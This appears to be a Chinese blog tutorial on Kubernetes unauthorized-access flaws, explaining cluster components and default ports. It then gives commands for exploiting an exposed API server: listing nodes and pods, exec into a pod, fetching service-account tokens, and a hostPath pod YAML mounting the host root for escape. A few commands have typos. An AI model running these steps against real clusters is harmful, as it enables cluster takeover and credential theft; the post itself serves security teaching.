云安全之k8s未授权漏洞总结

云安全:K8s未授权漏洞全解析

一、k8s介绍

在这里插入图片描述
全称是 kubernetes,是谷歌在2014年推出的一种开源容器编排系统,后来捐赠给了云原生计算基金会(CNCF)。因将k后面的8个字母进行缩写后,被广泛简称为K8s。随着容器技术的发展,面临着容器数量庞大、难以管理的问题,K8s的推出很好的解决了这一问题,并且在容器编排系统中占据领先地位。

Kubernetes 的名字来源于希腊语,意为“舵手”或“领航员”,寓意着它在容器编排领域如同舵手一般,引领着容器化应用的运行(docker的logo是一个运输船)。

Master 节点:

Master节点是 Kubernetes 集群的控制节点,每个 Kubernetes 集群里至少有一个Master节点,它负责整个集群的决策(如调度),发现和响应集群的事件,是 Kubernetes 集群的“大脑”。Master节点可以运行在集群中的任意一个节点上,但是最好将Master节点作为一个独立节点,不在该节点上创建容器,因为如果该节点出现问题导致宕机或不可用,整个集群的管理就会失效。

在Master节点上,通常会运行以下服务:

  • API Server(kube-apiserver)
    提供 HTTP Rest 接口,处理所有资源的增、删、改、查等操作,是集群控制的入口。
  • etcd
    分布式的键值存储系统,用于保存集群的配置数据和状态信息。
  • Scheduler(kube-scheduler)
    调度器,负责将新创建的 Pod 调度到合适的工作节点上运行,基于资源需求、约束条件等进行调度。
  • Controller Manager(kube-controller-manager)
    控制和管理器,运行多个控制器进程,如节点控制器、复制控制器等,确保集群状态符合期望状态。
Node 节点:

Node节点是Kubernetes集群的工作节点,每个集群中至少需要一台Node节点,它负责真正的运行Pod,当某个Node节点出现问题而导致宕机时,Master会自动将该节点上的Pod调度到其他节点。Node节点可以运行在物理机上,也可以运行在虚拟机中。

在Node节点上,通常会运行以下服务:

  • kubelet
    运行在每一个 Node 节点上的客户端,负责Pod对应的容器创建,启动和停止等任务,同时和Master节点进行通信,实现集群管理的基本功能。
  • kube-proxy
    实现 Kubernetes 服务(Service)的网络代理,负责负载均衡和网络通信。
  • container runtime
    负责运行和管理容器,常见的容器运行时有 Docker、containerd 等。
Pod:

是 Kubernetes 中最小的部署和调度单元。一个 Pod 可以包含一个或多个紧密相关的容器,这些容器共享网络(同一 IP 地址)和存储资源。Pod 设计为临时的,若其中的容器异常退出,Kubernetes 可以通过控制器自动重建它们。

一句话总结:
  • Master:管事的(决策者)
  • Node:干活的(执行者)
  • Pod:干活的工具包(运行单元)

在这里插入图片描述

二、组件接口存在的风险

k8s 中的大多数组件以 HTTP 和 HTTPS 的 API 形式提供服务,常见端口如下:

组件 默认端口 说明
API Server 6443 基于 HTTP 的安全端口
API Server 8080 不安全的 HTTP 端口
Kubelet 10248 检查健康状态的端口
Kubelet 10250 面向 API Server 提供服务的 HTTPS 端口
Kubelet 10255 提供了pod和node的信息,接口以只读形式暴露出去,访问该端口不需要认证和鉴权
Dashboard 8001 提供 HTTP 服务的端口
etcd 2379 客户端与服务端之间通信的端口
etcd 2380 不同服务端之间通信的端口

API Server 未授权访问

默认情况下,Kubernetes API Server 在两个端口提供服务:8080 和 6443

8080: insecure-port #以 HTTP 提供服务,无认证和授权机制,
6443: secure-port #以 HTTPS 提供服务,支持认证和授权服务。

如果配置不当,8080 和 6443端口都会存在未授权访问漏洞,只要网络可达,攻击者就能够通过这两个端口操控集群。

8080端口未授权访问

在较新版本的 Kubernetes 中,8080 端口的 HTTP 服务默认不启动,需要我们手动开启。

vim /etc/kubernetes/manifests/kube-apiserver.yaml

在这里插入图片描述
这里设置为0表示关闭,甚至在高版本的k8s中,直接将--insecure-port这个配置删除了,需要手动添加。

这里将修改为8080,并添加配置

- --insecure-port=8080
- --insecure-bind-address=0.0.0.0

systemctl restart kubelet

访问 8080 端口即可看到存在未授权。
在这里插入图片描述

通过 kubectl -s 命令,查看node节点信息以及pod信息

kubectl -s ip:8080 get node
kubectl -s ip:8080:8080 get pod

在这里插入图片描述
执行命令

kubectl -s 127.0.0.1:8080 --namespace=default exec -it nginxfromuzju-59595f6ffc-p8xvk bash

在这里插入图片描述

在高版本的k8s中,这种方法是不行的,连不上去

获取 service-account-token

/api/v1/namespaces/kube-system/secrets/

在这里插入图片描述
建立特权 Pod,进行逃逸
本地创建 test.yaml 文件,内容如下:

apiVersion: v1
kind: Pod
metadata:
  name: nginx-deployment
spec:
  containers:
  - image: nginx:1.8
    name: container
    volumeMounts:
    - mountPath: /mnt
      name: test
  volumes:
  - name: test
    hostPath:
      path: /
kubect -s https://your-ip:6443/ apply -f test.yaml
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值